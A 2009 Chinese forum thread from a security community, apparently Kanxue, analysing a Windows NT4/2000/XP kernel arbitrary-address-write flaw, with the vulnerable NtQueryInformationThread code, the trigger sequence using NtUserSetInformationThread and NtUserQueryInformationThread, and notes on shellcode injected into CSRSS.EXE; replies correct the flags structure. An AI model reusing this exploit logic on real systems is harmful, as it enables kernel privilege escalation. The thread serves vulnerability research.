首页
社区
课程
招聘
[原创]浅析Mj前辈的内核任意地址写入漏洞
发表于: 2009-3-31 11:11 10353

[原创]浅析Mj前辈的内核任意地址写入漏洞

2009-3-31 11:11
10353
write By  http://hi.baidu.com/weolar/blog/item/55f9bda137a93883461064de.html

昨天MJ前辈爆出了一个Windows NT4/2000/XP(全补丁)内核任意地址写入漏洞。

还好没加花加壳~

拿到Dmeo后今天早上赶快IDA了一把。 遂稍微搞清楚怎么回事了。

进入 sub_401700后,先得到CSRSS.EXE进程句柄,然后是一段比较中规中矩的ShellCode注入CSRSS.EXE提权代码。进入CSRSS.EXE后,取得附在ShellCode后面保存的参数(即写入的地址和写入内容)引

起内核任意地址写入漏洞的是NtUserQueryInformationThreadNtUserSetInformationThread两个函数(确切的说是NtQueryInformationThread)。

先看NtQueryInformationThread代码:

NTSTATUS QueryInformationThread(
    IN HANDLE hThread,
    IN USERTHREADINFOCLASS ThreadInfoClass,
    OUT PVOID ThreadInformation,
    IN ULONG ThreadInformationLength,
    OUT PULONG ReturnLength OPTIONAL)


{

……

        case UserThreadFlags:
            LocalReturnLength = sizeof(DWORD);
            if (pti == NULL)
                Status = STATUS_INVALID_HANDLE;
            else if (ThreadInformationLength != sizeof(DWORD))
                Status = STATUS_INFO_LENGTH_MISMATCH;
            else
                *(LPDWORD)ThreadInformation = pti->TIF_flags;
            break;

导致漏洞的地方是   *(LPDWORD)ThreadInformation = pti->TIF_flags;
这句。由于ThreadInformation 未做参数检测,而且 pti->TIF_flags;又是可以被控制的,

所以漏洞被触发!

下面看漏洞触发语句:
USERTHREAD_FLAGS Flags;
Flags. FlagsMask =(DWORD)-1;
Flags. NewFlags= pValue;

if ( NtOpenThread(&ThreadHandle, 96, &ObjectAttributes, &ClientId) >= 0 )
{
    if ( NtUserQueryInformationThread(ThreadHandle, UserThreadFlags, &pTIF_flags, 4, &pReturnLength) >= 0 )   

// 保存原TIF_flags
    {
      if ( NtUserSetInformationThread(ThreadHandle, UserThreadFlags, & Flags, 8) >= 0 )       // 修改TIF_flags为我们构造的值
      {
        if ( NtUserQueryInformationThread(ThreadHandle, UserThreadFlags, MyAddress, 4, & pReturnLength) >= 0 )  ]//触发漏洞
        {
          Flags . NewFlags = pTIF_flags;        // 恢复原值
          NtUserSetInformationThread(ThreadHandle, UserThreadFlags, & Flags, 8);      
           MyPShellcodeParameter ->dwIsSuc = 1; // 恢复原值
        }
      }
    }
}
其中传入的参数是个结构体:

typedef _ShellcodeParameter
{
    PVOID pMyAddress;//写入的地址
    PVOID pValue;         //写入的值
    DWORD dwIsSuc;    //是否写入成功
    DWORD dwCurrentThreadId;//线程Id
}ShellcodeParameter,*PShellcodeParameter;


解析这段代码,得知先通过NtUserQueryInformationThread得到pTIF_flags的值保存,然后NtUseSetInformationThread修改pTIF_flags的值为我们需要的值,随后再用QuerypTIF_flags写入到我们精心构造的地址中。最后再讲原TIF_flags值写回,这样便完成内核任意地址写入!

通过这个漏洞,看出Mj前辈果然很细心很强大啊~~这么隐蔽的地方都发现。看来WINDOWS中还有不少可以挖掘的地方哇,哈哈。学习学习。
PS:由于完全是静态分析,不知道有没有写错的地方……请Mj前辈轻点拍砖

[课程]Linux pwn 探索篇!

收藏
免费 7
支持
分享
最新回复 (16)
雪    币: 116
活跃值: (38)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
沙发学习!很强大呀
2009-3-31 11:19
0
雪    币: 1432
活跃值: (823)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
bandeng............
2009-3-31 11:21
0
雪    币: 193
活跃值: (26)
能力值: ( LV9,RANK:210 )
在线值:
发帖
回帖
粉丝
4
hips HOOK NtUserQueryInformationThread话 是可以  UNHOOK也可以
但是驱动不能退出 一退就BSOD了  奇怪!
2009-3-31 11:21
0
雪    币: 443
活跃值: (200)
能力值: ( LV9,RANK:1140 )
在线值:
发帖
回帖
粉丝
5
很强大啊~~~~~~~~~~~~
2009-3-31 11:23
0
雪    币: 107
活跃值: (1623)
能力值: ( LV6,RANK:80 )
在线值:
发帖
回帖
粉丝
6
盟主太牛X了 膜拜
2009-3-31 11:29
0
雪    币: 635
活跃值: (101)
能力值: ( LV12,RANK:420 )
在线值:
发帖
回帖
粉丝
7
if ( NtUserSetInformationThread(ThreadHandle, 1, pValue, 8) >= 0 )   

这句代码是错的

仔细看看NtUserSetInformationThread吧,为什么InformationLength是8?
2009-3-31 11:38
0
雪    币: 250
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
盟主速度好快,学习了

Zeny.
2009-3-31 11:41
0
雪    币: 364
活跃值: (152)
能力值: ( LV12,RANK:450 )
在线值:
发帖
回帖
粉丝
9
这个……里面确实是push 8.
请MJ前辈指点一下……
2009-3-31 11:56
0
雪    币: 635
活跃值: (101)
能力值: ( LV12,RANK:420 )
在线值:
发帖
回帖
粉丝
10
NtUserSetInformationThread时InformationThread是一个结构
第一个域是NewFlags,第二个是FlagsMask
需要将FlagsMask设为0xFFFFFFFF才能成功写入NewFlags
2009-3-31 11:58
0
雪    币: 364
活跃值: (152)
能力值: ( LV12,RANK:450 )
在线值:
发帖
回帖
粉丝
11
原来如此!看漏了~晕,昨天还注意到一个相识的问题,今天就忘记了,感谢Mj提醒~
2009-3-31 12:22
0
雪    币: 190
活跃值: (28)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
12
盟主速度好快,膜拜一下~~~
2009-3-31 13:12
0
雪    币: 127
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
13
仰视一下大牛。。。
2009-3-31 14:27
0
雪    币: 200
活跃值: (17)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
14
从卡饭跟过来,忍不住发一贴,向高人致敬!
2009-4-4 22:05
0
雪    币: 260
活跃值: (47)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
15
很好,很强大!
2009-4-8 13:13
0
雪    币: 267
活跃值: (10)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
16
好帖 确实好帖 少见的好帖 真 TMD 好帖 难得一见的好帖 千年等一回的好帖 好得不能再好的好帖 惊天地且泣鬼神的好帖 让人阅毕击掌三叹的好帖 让人佩服得五体投地的好帖 让人奔走相告曰须阅读的好帖 让斑竹看后决定加精固顶的好帖 让人看后在各论坛纷纷转贴的好帖 让人看后连成人网站都没兴趣的好帖 让人看完后就要往上顶往死里顶的好帖 让人看后不断在各种场合重复引用的好帖 让人一见面就问你看过某某好帖没有的好帖 让人半夜上厕所都要打开电脑再看一遍的好帖 让个读过后都下载在硬盘里详细研究欣赏的好帖 让人走路吃饭睡觉干什么事连做梦都梦到它的好帖 让人翻译成36种不同外语流传国内外世界各地的好帖 让人纷纷唱道过年过节不送礼要送就送某某帖子的好帖 让国家领导人命令将该帖刻在纯金版上当国礼送人的好帖 让网络上纷纷冒出该帖的真人版卡通版搞笑版成人版的好帖 让人在公共厕所里不再乱涂乱化而是纷纷对它引经据典的好帖 让某位想成名的少女向媒体说她与该帖作者发生过性关系的好帖 让人根据它写成小说又被不同导演拍成48个不同版本的电影的好帖 让某名导演跟据此帖改拍的电影在奥斯卡上一连拿了11个奖项的帖
2009-4-8 13:22
0
雪    币: 189
活跃值: (4810)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
17
收藏!!!!!!!!!
2009-5-29 00:06
0
游客
登录 | 注册 方可回帖
返回
//